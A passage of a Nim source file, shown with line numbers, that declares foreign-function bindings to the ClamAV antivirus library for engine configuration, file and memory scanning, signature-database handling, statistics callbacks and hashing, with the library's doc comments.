clcb_stats_get_hostid* {.importc, impclamavHdr.} = proc (cbdata: pointer): cstring {. 302 | cdecl.} 303 | cl_cvd* {.bycopy, impclamavHdr, importc: "struct cl_cvd".} = object 304 | time*: cstring 305 | version*: cuint 306 | sigs*: cuint 307 | fl*: cuint 308 | md5*: cstring 309 | dsig*: cstring 310 | builder*: cstring 311 | stime*: cuint 312 | 313 | cl_stat* {.bycopy, impclamavHdr, importc: "struct cl_stat".} = object 314 | dir*: cstring 315 | stattab*: ptr Stat 316 | statdname*: ptr cstring 317 | entries*: cuint 318 | 319 | cl_fmap* {.incompleteStruct, impclamavHdr, importc: "struct cl_fmap".} = object 320 | cl_fmap_t* {.importc, impclamavHdr.} = cl_fmap 321 | clcb_pread* {.importc, impclamavHdr.} = proc (handle: pointer; buf: pointer; 322 | count: uint; offset: clong): clong {.cdecl.} 323 | proc cl_debug*() {.importc, cdecl, impclamavHdr.} 324 | ## ``` 325 | ## ---------------------------------------------------------------------------- 326 | ## Enable global libclamav features. 327 | ## 328 | ## 329 | ## @brief Enable debug messages 330 | ## ``` 331 | proc cl_always_gen_section_hash*() {.importc, cdecl, impclamavHdr.} 332 | ## ``` 333 | ## @brief Set libclamav to always create section hashes for PE files. 334 | ## 335 | ## Section hashes are used in .mdb signature. 336 | ## ``` 337 | proc cl_initialize_crypto*(): cint {.importc, cdecl, impclamavHdr.} 338 | ## ``` 339 | ## ---------------------------------------------------------------------------- 340 | ## Scan engine functions. 341 | ## 342 | ## 343 | ## @brief This function initializes the openssl crypto system. 344 | ## 345 | ## Called by cl_init() and does not need to be cleaned up as de-init 346 | ## is handled automatically by openssl 1.0.2.h and 1.1.0 347 | ## 348 | ## @return Always returns 0 349 | ## ``` 350 | proc cl_cleanup_crypto*() {.importc, cdecl, impclamavHdr.} 351 | ## ``` 352 | ## @brief This is a deprecated function that used to clean up ssl crypto inits. 353 | ## 354 | ## Call to EVP_cleanup() has been removed since cleanup is now handled by 355 | ## auto-deinit as of openssl 1.0.2h and 1.1.0 356 | ## ``` 357 | proc cl_init*(initoptions: cuint): cl_error_t {.importc, cdecl, impclamavHdr.} 358 | ## ``` 359 | ## @brief Initialize the ClamAV library. 360 | ## 361 | ## @param initoptions Unused. 362 | ## @return cl_error_t CL_SUCCESS if everything initalized correctly. 363 | ## ``` 364 | proc cl_engine_new*(): ptr cl_engine {.importc, cdecl, impclamavHdr.} 365 | ## ``` 366 | ## @brief Allocate a new scanning engine and initialize default settings. 367 | ## 368 | ## The engine should be freed with cl_engine_free(). 369 | ## 370 | ## @return struct cl_engine* Pointer to the scanning engine. 371 | ## ``` 372 | proc cl_engine_set_num*(engine: ptr cl_engine; field: cl_engine_field; 373 | num: clonglong): cl_error_t {.importc, cdecl, 374 | impclamavHdr.} 375 | ## ``` 376 | ## @brief Set a numerical engine option. 377 | ## 378 | ## Caution: changing options for an engine that is in-use is not thread-safe! 379 | ## 380 | ## @param engine An initialized scan engine. 381 | ## @param cl_engine_field A CL_ENGINE option. 382 | ## @param num The new engine option value. 383 | ## @return cl_error_t CL_SUCCESS if successfully set. 384 | ## @return cl_error_t CL_EARG if the field number was incorrect. 385 | ## @return cl_error_t CL_ENULLARG null arguments were provided. 386 | ## ``` 387 | proc cl_engine_get_num*(engine: ptr cl_engine; field: cl_engine_field; 388 | err: ptr cint): clonglong {.importc, cdecl, impclamavHdr.} 389 | ## ``` 390 | ## @brief Get a numerical engine option. 391 | ## 392 | ## @param engine An initialized scan engine. 393 | ## @param cl_engine_field A CL_ENGINE option. 394 | ## @param err (optional) A cl_error_t status code. 395 | ## @return long long The numerical option value. 396 | ## ``` 397 | proc cl_engine_set_str*(engine: ptr cl_engine; field: cl_engine_field; 398 | str: cstring): cl_error_t {.importc, cdecl, impclamavHdr.} 399 | ## ``` 400 | ## @brief Set a string engine option. 401 | ## 402 | ## If the string option has already been set, the existing string will be free'd 403 | ## and the new string will replace it. 404 | ## 405 | ## Caution: changing options for an engine that is in-use is not thread-safe! 406 | ## 407 | ## @param engine An initialized scan engine. 408 | ## @param cl_engine_field A CL_ENGINE option. 409 | ## @param str The new engine option value. 410 | ## @return cl_error_t CL_SUCCESS if successfully set. 411 | ## @return cl_error_t CL_EARG if the field number was incorrect. 412 | ## @return cl_error_t CL_EMEM if a memory allocation error occurred. 413 | ## @return cl_error_t CL_ENULLARG null arguments were provided. 414 | ## ``` 415 | proc cl_engine_get_str*(engine: ptr cl_engine; field: cl_engine_field; 416 | err: ptr cint): cstring {.importc, cdecl, impclamavHdr.} 417 | ## ``` 418 | ## @brief Get a string engine option. 419 | ## 420 | ## @param engine An initialized scan engine. 421 | ## @param cl_engine_field A CL_ENGINE option. 422 | ## @param err (optional) A cl_error_t status code. 423 | ## @return const char The string option value. 424 | ## ``` 425 | proc cl_engine_settings_copy*(engine: ptr cl_engine): ptr cl_settings {.importc, 426 | cdecl, impclamavHdr.} 427 | ## ``` 428 | ## @brief Copy the settings from an existing scan engine. 429 | ## 430 | ## The cl_settings pointer is allocated and must be freed with cl_engine_settings_free(). 431 | ## 432 | ## @param engine An configured scan engine. 433 | ## @return struct cl_settings* The settings. 434 | ## ``` 435 | proc cl_engine_settings_apply*(engine: ptr cl_engine; settings: ptr cl_settings): cl_error_t {. 436 | importc, cdecl, impclamavHdr.} 437 | ## ``` 438 | ## @brief Apply settings from a settings structure to a scan engine. 439 | ## 440 | ## Caution: changing options for an engine that is in-use is not thread-safe! 441 | ## 442 | ## @param engine A scan engine. 443 | ## @param settings The settings. 444 | ## @return cl_error_t CL_SUCCESS if successful. 445 | ## @return cl_error_t CL_EMEM if a memory allocation error occurred. 446 | ## ``` 447 | proc cl_engine_settings_free*(settings: ptr cl_settings): cl_error_t {.importc, 448 | cdecl, impclamavHdr.} 449 | ## ``` 450 | ## @brief Free a settings struct pointer. 451 | ## 452 | ## @param settings The settings struct pointer. 453 | ## @return cl_error_t CL_SUCCESS if successful. 454 | ## @return cl_error_t CL_ENULLARG null arguments were provided. 455 | ## ``` 456 | proc cl_engine_compile*(engine: ptr cl_engine): cl_error_t {.importc, cdecl, 457 | impclamavHdr.} 458 | ## ``` 459 | ## @brief Prepare the scanning engine. 460 | ## 461 | ## Called this after all required databases have been loaded and settings have 462 | ## been applied. 463 | ## 464 | ## @param engine A scan engine. 465 | ## @return cl_error_t CL_SUCCESS if successful. 466 | ## @return cl_error_t CL_ENULLARG null arguments were provided. 467 | ## ``` 468 | proc cl_engine_addref*(engine: ptr cl_engine): cl_error_t {.importc, cdecl, 469 | impclamavHdr.} 470 | ## ``` 471 | ## @brief Add a reference count to the engine. 472 | ## 473 | ## Thread safety mechanism so that the engine is not free'd by another thread. 474 | ## 475 | ## The engine is initialized with refcount = 1, so this only needs to be called 476 | ## for additional scanning threads. 477 | ## 478 | ## @param engine A scan engine. 479 | ## @return cl_error_t CL_SUCCESS if successful. 480 | ## @return cl_error_t CL_ENULLARG null arguments were provided. 481 | ## ``` 482 | proc cl_engine_free*(engine: ptr cl_engine): cl_error_t {.importc, cdecl, 483 | impclamavHdr.} 484 | ## ``` 485 | ## @brief Free an engine. 486 | ## 487 | ## Will lower the reference count on an engine. If the reference count hits 488 | ## zero, the engine will be freed. 489 | ## 490 | ## @param engine A scan engine. 491 | ## @return cl_error_t CL_SUCCESS if successful. 492 | ## @return cl_error_t CL_ENULLARG null arguments were provided. 493 | ## ``` 494 | proc cl_engine_set_clcb_pre_cache*(engine: ptr cl_engine; 495 | callback: clcb_pre_cache) {.importc, cdecl, 496 | impclamavHdr.} 497 | ## ``` 498 | ## @brief Set a custom pre-cache callback function. 499 | ## 500 | ## Caution: changing options for an engine that is in-use is not thread-safe! 501 | ## 502 | ## @param engine The initialized scanning engine. 503 | ## @param callback The callback function pointer. 504 | ## ``` 505 | proc cl_engine_set_clcb_pre_scan*(engine: ptr cl_engine; callback: clcb_pre_scan) {. 506 | importc, cdecl, impclamavHdr.} 507 | ## ``` 508 | ## @brief Set a custom pre-scan callback function. 509 | ## 510 | ## Caution: changing options for an engine that is in-use is not thread-safe! 511 | ## 512 | ## @param engine The initialized scanning engine. 513 | ## @param callback The callback function pointer. 514 | ## ``` 515 | 516 | proc cl_engine_set_clcb_file_inspection*(engine: ptr cl_engine; callback: clcb_file_inspection) {.importc, cdecl, impclamavHdr.} 517 | 518 | proc cl_engine_set_clcb_post_scan*(engine: ptr cl_engine; 519 | callback: clcb_post_scan) {.importc, cdecl, 520 | impclamavHdr.} 521 | ## ``` 522 | ## @brief Set a custom post-scan callback function. 523 | ## 524 | ## Caution: changing options for an engine that is in-use is not thread-safe! 525 | ## 526 | ## @param engine The initialized scanning engine. 527 | ## @param callback The callback function pointer. 528 | ## ``` 529 | proc cl_engine_set_clcb_virus_found*(engine: ptr cl_engine; 530 | callback: clcb_virus_found) {.importc, 531 | cdecl, impclamavHdr.} 532 | ## ``` 533 | ## @brief Set a custom virus-found callback function. 534 | ## 535 | ## Caution: changing options for an engine that is in-use is not thread-safe! 536 | ## 537 | ## @param engine The initialized scanning engine. 538 | ## @param callback The callback function pointer. 539 | ## ``` 540 | proc cl_engine_set_clcb_sigload*(engine: ptr cl_engine; callback: clcb_sigload; 541 | context: pointer) {.importc, cdecl, 542 | impclamavHdr.} 543 | ## ``` 544 | ## @brief Set a custom signature-load callback function. 545 | ## 546 | ## Caution: changing options for an engine that is in-use is not thread-safe! 547 | ## 548 | ## @param engine The initialized scanning engine. 549 | ## @param callback The callback function pointer. 550 | ## @param context Opaque application provided data. 551 | ## ``` 552 | proc cl_set_clcb_msg*(callback: clcb_msg) {.importc, cdecl, impclamavHdr.} 553 | ## ``` 554 | ## @brief Set a custom logging message callback function for all of libclamav. 555 | ## 556 | ## @param callback The callback function pointer. 557 | ## ``` 558 | proc cl_engine_set_clcb_hash*(engine: ptr cl_engine; callback: clcb_hash) {. 559 | importc, cdecl, impclamavHdr.} 560 | ## ``` 561 | ## @brief Set a custom hash stats callback function. 562 | ## 563 | ## Caution: changing options for an engine that is in-use is not thread-safe! 564 | ## 565 | ## @param engine The initialized scanning engine. 566 | ## @param callback The callback function pointer. 567 | ## ``` 568 | proc cl_engine_set_clcb_meta*(engine: ptr cl_engine; callback: clcb_meta) {. 569 | importc, cdecl, impclamavHdr.} 570 | ## ``` 571 | ## @brief Set a custom archive metadata matching callback function. 572 | ## 573 | ## Caution: changing options for an engine that is in-use is not thread-safe! 574 | ## 575 | ## @param engine The initialized scanning engine. 576 | ## @param callback The callback function pointer. 577 | ## ``` 578 | proc cl_engine_set_clcb_file_props*(engine: ptr cl_engine; 579 | callback: clcb_file_props) {.importc, cdecl, 580 | impclamavHdr.} 581 | ## ``` 582 | ## @brief Set a custom file properties callback function. 583 | ## 584 | ## Caution: changing options for an engine that is in-use is not thread-safe! 585 | ## 586 | ## @param engine The initialized scanning engine. 587 | ## @param callback The callback function pointer. 588 | ## ``` 589 | proc cl_engine_set_stats_set_cbdata*(engine: ptr cl_engine; cbdata: pointer) {. 590 | importc, cdecl, impclamavHdr.} 591 | ## ``` 592 | ## ---------------------------------------------------------------------------- 593 | ## Statistics/telemetry gathering callbacks. 594 | ## 595 | ## The statistics callback functions may be used to implement a telemetry 596 | ## gathering feature. 597 | ## 598 | ## The structure definition for cbdata is entirely up to the caller, as are 599 | ## the implementations of each of the callback functions defined below. 600 | ## 601 | ## 602 | ## @brief Set a pointer the caller-defined cbdata structure. 603 | ## 604 | ## The data must persist at least until clcb_stats_submit() is called, or 605 | ## clcb_stats_flush() is called (optional). 606 | ## 607 | ## Caution: changing options for an engine that is in-use is not thread-safe! 608 | ## 609 | ## @param engine The scanning engine. 610 | ## @param cbdata The statistics data. Probably a pointer to a malloc'd struct. 611 | ## ``` 612 | proc cl_engine_set_clcb_stats_add_sample*(engine: ptr cl_engine; 613 | callback: clcb_stats_add_sample) {.importc, cdecl, impclamavHdr.} 614 | ## ``` 615 | ## @brief Set a custom callback function to add sample metadata to a statistics report. 616 | ## 617 | ## Caution: changing options for an engine that is in-use is not thread-safe! 618 | ## 619 | ## @param engine The initialized scanning engine. 620 | ## @param callback The callback function pointer. 621 | ## ``` 622 | proc cl_engine_set_clcb_stats_remove_sample*(engine: ptr cl_engine; 623 | callback: clcb_stats_remove_sample) {.importc, cdecl, impclamavHdr.} 624 | ## ``` 625 | ## @brief Set a custom callback function to remove sample metadata from a statistics report. 626 | ## 627 | ## Caution: changing options for an engine that is in-use is not thread-safe! 628 | ## 629 | ## @param engine The initialized scanning engine. 630 | ## @param callback The callback function pointer. 631 | ## ``` 632 | proc cl_engine_set_clcb_stats_decrement_count*(engine: ptr cl_engine; 633 | callback: clcb_stats_decrement_count) {.importc, cdecl, impclamavHdr.} 634 | ## ``` 635 | ## @brief Set a custom callback function to decrement the hit count listed in the statistics report for a specific sample. 636 | ## 637 | ## This function may remove the sample from the report if the hit count is decremented to 0. 638 | ## 639 | ## @param engine The initialized scanning engine. 640 | ## @param callback The callback function pointer. 641 | ## ``` 642 | proc cl_engine_set_clcb_stats_submit*(engine: ptr cl_engine; 643 | callback: clcb_stats_submit) {.importc, 644 | cdecl, impclamavHdr.} 645 | ## ``` 646 | ## @brief Set a custom callback function to submit the statistics report. 647 | ## 648 | ## Caution: changing options for an engine that is in-use is not thread-safe! 649 | ## 650 | ## @param engine The initialized scanning engine. 651 | ## @param callback The callback function pointer. 652 | ## ``` 653 | proc cl_engine_set_clcb_stats_flush*(engine: ptr cl_engine; 654 | callback: clcb_stats_flush) {.importc, 655 | cdecl, impclamavHdr.} 656 | ## ``` 657 | ## @brief Set a custom callback function to flush/free the statistics report data. 658 | ## 659 | ## Caution: changing options for an engine that is in-use is not thread-safe! 660 | ## 661 | ## @param engine The initialized scanning engine. 662 | ## @param callback The callback function pointer. 663 | ## ``` 664 | proc cl_engine_set_clcb_stats_get_num*(engine: ptr cl_engine; 665 | callback: clcb_stats_get_num) {.importc, 666 | cdecl, impclamavHdr.} 667 | ## ``` 668 | ## @brief Set a custom callback function to get the number of samples listed in the statistics report. 669 | ## 670 | ## Caution: changing options for an engine that is in-use is not thread-safe! 671 | ## 672 | ## @param engine The initialized scanning engine. 673 | ## @param callback The callback function pointer. 674 | ## ``` 675 | proc cl_engine_set_clcb_stats_get_size*(engine: ptr cl_engine; 676 | callback: clcb_stats_get_size) {. 677 | importc, cdecl, impclamavHdr.} 678 | ## ``` 679 | ## @brief Set a custom callback function to get the size of memory used to store the statistics report. 680 | ## 681 | ## Caution: changing options for an engine that is in-use is not thread-safe! 682 | ## 683 | ## @param engine The initialized scanning engine. 684 | ## @param callback The callback function pointer. 685 | ## ``` 686 | proc cl_engine_set_clcb_stats_get_hostid*(engine: ptr cl_engine; 687 | callback: clcb_stats_get_hostid) {.importc, cdecl, impclamavHdr.} 688 | ## ``` 689 | ## @brief Set a custom callback function to get the machine's unique host ID. 690 | ## 691 | ## Caution: changing options for an engine that is in-use is not thread-safe! 692 | ## 693 | ## @param engine The initialized scanning engine. 694 | ## @param callback The callback function pointer. 695 | ## ``` 696 | proc cl_engine_stats_enable*(engine: ptr cl_engine) {.importc, cdecl, 697 | impclamavHdr.} 698 | ## ``` 699 | ## @brief Function enables the built-in statistics reporting feature. 700 | ## 701 | ## @param engine The initialized scanning engine. 702 | ## ``` 703 | proc cl_scandesc*(desc: cint; filename: cstring; virname: ptr cstring; 704 | scanned: ptr culong; engine: ptr cl_engine; 705 | scanoptions: ptr cl_scan_options): cl_error_t {.importc, 706 | cdecl, impclamavHdr.} 707 | ## ``` 708 | ## ---------------------------------------------------------------------------- 709 | ## File scanning. 710 | ## 711 | ## 712 | ## @brief Scan a file, given a file descriptor. 713 | ## 714 | ## @param desc File descriptor of an open file. The caller must provide this or the map. 715 | ## @param filename (optional) Filepath of the open file descriptor or file map. 716 | ## @param[out] virname Will be set to a statically allocated (i.e. needs not be freed) signature name if the scan matches against a signature. 717 | ## @param[out] scanned The number of bytes scanned. 718 | ## @param engine The scanning engine. 719 | ## @param scanoptions Scanning options. 720 | ## @return cl_error_t CL_CLEAN, CL_VIRUS, or an error code if an error occured during the scan. 721 | ## ``` 722 | proc cl_scandesc_callback*(desc: cint; filename: cstring; virname: ptr cstring; 723 | scanned: ptr culong; engine: ptr cl_engine; 724 | scanoptions: ptr cl_scan_options; context: pointer): cl_error_t {. 725 | importc, cdecl, impclamavHdr.} 726 | ## ``` 727 | ## @brief Scan a file, given a file descriptor. 728 | ## 729 | ## This callback variant allows the caller to provide a context structure that caller provided callback functions can interpret. 730 | ## 731 | ## @param desc File descriptor of an open file. The caller must provide this or the map. 732 | ## @param filename (optional) Filepath of the open file descriptor or file map. 733 | ## @param[out] virname Will be set to a statically allocated (i.e. needs not be freed) signature name if the scan matches against a signature. 734 | ## @param[out] scanned The number of bytes scanned. 735 | ## @param engine The scanning engine. 736 | ## @param scanoptions Scanning options. 737 | ## @param[in/out] context An opaque context structure allowing the caller to record details about the sample being scanned. 738 | ## @return cl_error_t CL_CLEAN, CL_VIRUS, or an error code if an error occured during the scan. 739 | ## ``` 740 | proc cl_scanfile*(filename: cstring; virname: ptr cstring; scanned: ptr culong; 741 | engine: ptr cl_engine; scanoptions: ptr cl_scan_options): cl_error_t {. 742 | importc, cdecl, impclamavHdr.} 743 | ## ``` 744 | ## @brief Scan a file, given a filename. 745 | ## 746 | ## @param filename Filepath of the file to be scanned. 747 | ## @param[out] virname Will be set to a statically allocated (i.e. needs not be freed) signature name if the scan matches against a signature. 748 | ## @param[out] scanned The number of bytes scanned. 749 | ## @param engine The scanning engine. 750 | ## @param scanoptions Scanning options. 751 | ## @return cl_error_t CL_CLEAN, CL_VIRUS, or an error code if an error occured during the scan. 752 | ## ``` 753 | proc cl_scanfile_callback*(filename: cstring; virname: ptr cstring; 754 | scanned: ptr culong; engine: ptr cl_engine; 755 | scanoptions: ptr cl_scan_options; context: pointer): cl_error_t {. 756 | importc, cdecl, impclamavHdr.} 757 | ## ``` 758 | ## @brief Scan a file, given a filename. 759 | ## 760 | ## This callback variant allows the caller to provide a context structure that caller provided callback functions can interpret. 761 | ## 762 | ## @param filename Filepath of the file to be scanned. 763 | ## @param[out] virname Will be set to a statically allocated (i.e. needs not be freed) signature name if the scan matches against a signature. 764 | ## @param[out] scanned The number of bytes scanned. 765 | ## @param engine The scanning engine. 766 | ## @param scanoptions Scanning options. 767 | ## @param[in/out] context An opaque context structure allowing the caller to record details about the sample being scanned. 768 | ## @return cl_error_t CL_CLEAN, CL_VIRUS, or an error code if an error occured during the scan. 769 | ## ``` 770 | proc cl_load*(path: cstring; engine: ptr cl_engine; signo: ptr cuint; 771 | dboptions: cuint): cl_error_t {.importc, cdecl, impclamavHdr.} 772 | ## ``` 773 | ## ---------------------------------------------------------------------------- 774 | ## Database handling. 775 | ## ``` 776 | proc cl_retdbdir*(): cstring {.importc, cdecl, impclamavHdr.} 777 | proc cl_cvdhead*(file: cstring): ptr cl_cvd {.importc, cdecl, impclamavHdr.} 778 | ## ``` 779 | ## @brief Read the CVD header data from a file. 780 | ## 781 | ## The returned pointer must be free'd with cl_cvdfree(). 782 | ## 783 | ## @param file Filepath of CVD file. 784 | ## @return struct cl_cvd* Pointer to an allocated CVD header data structure. 785 | ## ``` 786 | proc cl_cvdparse*(head: cstring): ptr cl_cvd {.importc, cdecl, impclamavHdr.} 787 | ## ``` 788 | ## @brief Parse the CVD header. 789 | ## 790 | ## Buffer length is not an argument, and the check must be done 791 | ## by the caller cl_cvdhead(). 792 | ## 793 | ## The returned pointer must be free'd with cl_cvdfree(). 794 | ## 795 | ## @param head Pointer to the header data buffer. 796 | ## @return struct cl_cvd* Pointer to an allocated CVD header data structure. 797 | ## ``` 798 | proc cl_cvdverify*(file: cstring): cl_error_t {.importc, cdecl, impclamavHdr.} 799 | ## ``` 800 | ## @brief Verify a CVD file by loading and unloading it. 801 | ## 802 | ## @param file Filepath of CVD file. 803 | ## @return cl_error_t CL_SUCCESS if success, else a CL_E* error code. 804 | ## ``` 805 | proc cl_cvdfree*(cvd: ptr cl_cvd) {.importc, cdecl, impclamavHdr.} 806 | ## ``` 807 | ## @brief Free a CVD header struct. 808 | ## 809 | ## @param cvd Pointer to a CVD header struct. 810 | ## ``` 811 | proc cl_statinidir*(dirname: cstring; dbstat: ptr cl_stat): cl_error_t {. 812 | importc, cdecl, impclamavHdr.} 813 | # ``` 814 | ## @brief Initialize a directory to be watched for database changes. 815 | ## 816 | ## The dbstat out variable is allocated and must be freed using cl_statfree(). 817 | ## 818 | ## @param dirname Pathname of the database directory. 819 | ## @param[out] dbstat dbstat handle. 820 | ## @return cl_error_t CL_SUCCESS if successfully initialized. 821 | ## ``` 822 | proc cl_statchkdir*(dbstat: ptr cl_stat): cint {.importc, cdecl, impclamavHdr.} 823 | # ``` 824 | ## @brief Check the database directory for changes. 825 | ## 826 | ## @param dbstat dbstat handle. 827 | ## @return int 0 No change. 828 | ## @return int 1 Some change occured. 829 | ## ``` 830 | proc cl_statfree*(dbstat: ptr cl_stat): cl_error_t {.importc, cdecl, 831 | impclamavHdr.} 832 | ## ``` 833 | ## @brief Free the dbstat handle. 834 | ## 835 | ## @param dbstat dbstat handle. 836 | ## @return cl_error_t CL_SUCCESS 837 | ## @return cl_error_t CL_ENULLARG 838 | ## ``` 839 | proc cl_countsigs*(path: cstring; countoptions: cuint; sigs: ptr cuint): cl_error_t {. 840 | importc, cdecl, impclamavHdr.} 841 | ## ``` 842 | ## @brief Count the number of signatures in a database file or directory. 843 | ## 844 | ## @param path Path of the database file or directory. 845 | ## @param countoptions A bitflag field. May be CL_COUNTSIGS_OFFICIAL, CL_COUNTSIGS_UNOFFICIAL, or CL_COUNTSIGS_ALL. 846 | ## @param[out] sigs The number of sigs. 847 | ## @return cl_error_t CL_SUCCESS if success, else a CL_E* error type. 848 | ## ``` 849 | proc cl_retflevel*(): cuint {.importc, cdecl, impclamavHdr.} 850 | ## ``` 851 | ## ---------------------------------------------------------------------------- 852 | ## Software versions. 853 | ## 854 | ## 855 | ## @brief Get the Functionality Level (FLEVEL). 856 | ## 857 | ## @return unsigned int The FLEVEL. 858 | ## ``` 859 | proc cl_retver*(): cstring {.importc, cdecl, impclamavHdr.} 860 | ## ``` 861 | ## @brief Get the ClamAV version string. 862 | ## 863 | ## E.g. clamav-0.100.0-beta 864 | ## 865 | ## @return const char* The version string. 866 | ## ``` 867 | proc cl_strerror*(clerror: cint): cstring {.importc, cdecl, impclamavHdr.} 868 | ## ``` 869 | ## ---------------------------------------------------------------------------- 870 | ## Others. 871 | ## ``` 872 | proc cl_fmap_open_handle*(handle: pointer; offset: uint; len: uint; 873 | a4: clcb_pread; use_aging: cint): ptr cl_fmap_t {. 874 | importc, cdecl, impclamavHdr.} 875 | ## ``` 876 | ## @brief Open a map given a handle. 877 | ## 878 | ## Open a map for scanning custom data accessed by a handle and pread (lseek + 879 | ## read)-like interface. For example a WIN32 HANDLE. 880 | ## By default fmap will use aging to discard old data, unless you tell it not 881 | ## to. 882 | ## 883 | ## The handle will be passed to the callback each time. 884 | ## 885 | ## @param handle A handle that may be accessed using lseek + read. 886 | ## @param offset Initial offset to start scanning. 887 | ## @param len Length of the data from the start (not the offset). 888 | ## @param use_aging Set to a non-zero value to enable aging. 889 | ## @param pread_cb A callback function to read data from the handle. 890 | ## @return cl_fmap_t* A map representing the handle interface. 891 | ## ``` 892 | proc cl_fmap_open_memory*(start: pointer; len: uint): ptr cl_fmap_t {.importc, 893 | cdecl, impclamavHdr.} 894 | ## ``` 895 | ## @brief Open a map given a buffer. 896 | ## 897 | ## Open a map for scanning custom data, where the data is already in memory, 898 | ## either in the form of a buffer, a memory mapped file, etc. 899 | ## Note that the memory [start, start+len) must be the _entire_ file, 900 | ## you can't give it parts of a file and expect detection to work. 901 | ## 902 | ## @param start Pointer to a buffer of data. 903 | ## @param len Length in bytes of the data. 904 | ## @return cl_fmap_t* A map representing the buffer. 905 | ## ``` 906 | proc cl_fmap_close*(a1: ptr cl_fmap_t) {.importc, cdecl, impclamavHdr.} 907 | ## ``` 908 | ## @brief Releases resources associated with the map. 909 | ## 910 | ## You should release any resources you hold only after (handles, maps) calling 911 | ## this function. 912 | ## 913 | ## @param map Map to be closed. 914 | ## ``` 915 | proc cl_scanmap_callback*(map: ptr cl_fmap_t; filename: cstring; 916 | virname: ptr cstring; scanned: ptr culong; 917 | engine: ptr cl_engine; 918 | scanoptions: ptr cl_scan_options; context: pointer): cl_error_t {. 919 | importc, cdecl, impclamavHdr.} 920 | ## ``` 921 | ## @brief Scan custom data. 922 | ## 923 | ## @param map Buffer to be scanned, in form of a cl_fmap_t. 924 | ## @param filename Name of data origin. Does not need to be an actual 925 | ## file on disk. May be NULL if a name is not available. 926 | ## @param[out] virname Pointer to receive the signature match name name if a 927 | ## signature matched. 928 | ## @param[out] scanned Number of bytes scanned. 929 | ## @param engine The scanning engine. 930 | ## @param scanoptions The scanning options struct. 931 | ## @param context An application-defined context struct, opaque to 932 | ## libclamav. May be used within your callback functions. 933 | ## @return cl_error_t CL_CLEAN if no signature matched. CL_VIRUS if a 934 | ## signature matched. Another CL_E* error code if an 935 | ## error occured. 936 | ## ``` 937 | proc cl_hash_data*(alg: cstring; buf: pointer; len: uint; obuf: ptr uint8; 938 | olen: ptr cuint): ptr uint8 {.importc, cdecl, impclamavHdr.} 939 | ## ``` 940 | ## @brief Generate a hash of data. 941 | ## 942 | ## @param alg The hashing algorithm to use. 943 | ## @param buf The data to be hashed. 944 | ## @param len The length of the to-be-hashed data. 945 | ## @param[out] obuf (optional) A buffer to store the generated hash. Use NULL to dynamically allocate buffer. 946 | ## @param[out] olen (optional) A pointer that stores how long the generated hash is. 947 | ## @return A pointer to the generated hash or obuf if obuf is not NULL. 948 | ## ``` 949 | # proc cl_hash_file_fd_ctx*(ctx: ptr EVP_MD_CTX; fd: cint; olen: ptr cuint): ptr uint8 {. 950 | # importc, cdecl, impclamavHdr.} 951 | ## ``` 952 | ## @brief Generate a hash of a file. 953 | ## 954 | ## @param ctx A pointer to the OpenSSL EVP_MD_CTX object. 955 | ## @param fd The file descriptor. 956 | ## @param[out] olen (optional) The length of the generated hash. 957 | ## @return A pointer to a malloc'd buffer that holds the generated hash. 958 | ## ``` 959 | proc cl_hash_file_fd*(fd: cint; alg: cstring; olen: ptr cuint): ptr uint8 {. 960 | importc, cdecl, impclamavHdr.} 961 | ## ``` 962 | ## @brief Generate a hash of a file. 963 | ## 964 | ## @param fd The file descriptor. 965 | ## @param alg The hashing algorithm to use. 966 | ## @param[out] olen (optional) The length of the generated hash. 967 | ## @return A pointer to a malloc'd buffer that holds the generated hash. 968 | ## ``` 969 | proc cl_hash_file_fp*(fp: File; alg: cstring; olen: ptr cuint): ptr uint8 {. 970 | importc, cdecl, impclamavHdr.} 971 | ## ``` 972 | ## @brief Generate a hash of a file. 973 | ## 974 | ## @param fp A pointer to a FILE object. 975 | ## @param alg The hashing algorithm to use. 976 | ## @param[out] olen (optional) The length of the generated hash. 977 | ## @return A pointer to a malloc'd buffer that holds the generated hash. 978 | ## ``` 979 | proc cl_sha256*(buf: pointer; len: uint; obuf: ptr uint8; olen: ptr cuint): ptr uint8 {. 980 | importc, cdecl, impclamavHdr.} 981 | ## ``` 982 | ## @brief Generate a sha256 hash of data. 983 | ## 984 | ## @param buf The data to hash. 985 | ## @param len The length of the to-be-hashed data. 986 | ## @param[out] obuf (optional) A pointer to store the generated hash. Use NULL to dynamically allocate buffer. 987 | ## @param[out] olen (optional) The length of the generated hash. 988 | ## @return A pointer to a malloc'd buffer that holds the generated hash. 989 | ## ``` 990 | proc cl_sha384*(buf: pointer; len: uint; obuf: ptr uint8; olen: ptr cuint): ptr uint8 {. 991 | importc, cdecl, impclamavHdr.} 992 | ## ``` 993 | ## @brief Generate a sha384 hash of data. 994 | ## 995 | ## @param buf The data to hash. 996 | ## @param len The length of the to-be-hashed data. 997 | ## @param[out] obuf (optional) A pointer to store the generated hash. Use NULL to dynamically allocate buffer. 998 | ## @param[out] olen (optional) The length of the generated hash. 999 | ## @return A pointer to a malloc'd buffer that holds the generated hash. 1000 | ## ``` 1001 | proc cl_sha512*(buf: pointer; len: uint; obuf: ptr uint8; olen: ptr cuint): ptr uint8 {. 1002 | importc, cdecl, impclamavHdr.} 1003 | ## ``` 1004 | ## @brief Generate a sha512 hash of data. 1005 | ## 1006 | ## @param buf The data to hash. 1007 | ## @param len The length of the to-be-hashed data. 1008 | ## @param[out] obuf (optional) A pointer to store the generated hash. Use NULL to dynamically allocate buffer. 1009 | ## @param[out] olen (optional) The length of the generated hash. 1010 | ## @return A pointer to a malloc'd buffer that holds the generated hash. 1011 | ## ``` 1012 | proc cl_sha1*(buf: pointer; len: uint; obuf: ptr uint8; olen: ptr cuint): ptr uint8 {. 1013 | importc, cdecl, impclamavHdr.} 1014 | ## ``` 1015 | ## @brief Generate a sha1 hash of data. 1016 | ## 1017 | ## @param buf The data to hash. 1018 | ## @param len The length of the to-be-hashed data. 1019 | ## @param[out] obuf (optional) A pointer to store the generated hash. Use NULL to dynamically allocate buffer. 1020 | ## @param[out] olen (optional) The length of the generated hash. 1021 | ## @return A pointer to a malloc'd buffer that holds the generated hash. 1022 | ## ``` 1023 | # proc cl_verify_signature*(pkey: ptr EVP_PKEY; alg: cstring; sig: ptr uint8; 1024 | # siglen: cuint; data: ptr uint8; datalen: uint; 1025 | # decode: cint): cint {.importc, cdecl, impclamavHdr.} 1026 | ## ``` 1027 | ## @brief Verify validity of signed data. 1028 | ## 1029 | ## @param pkey The public key of the keypair that signed the data. 1030 | ## @param alg The algorithm used to hash the data. 1031 | ## @param sig The signature block. 1032 | ## @param siglen The length of the signature. 1033 | ## @param data The data that was signed. 1034 | ## @param datalen The length of the data. 1035 | ## @param 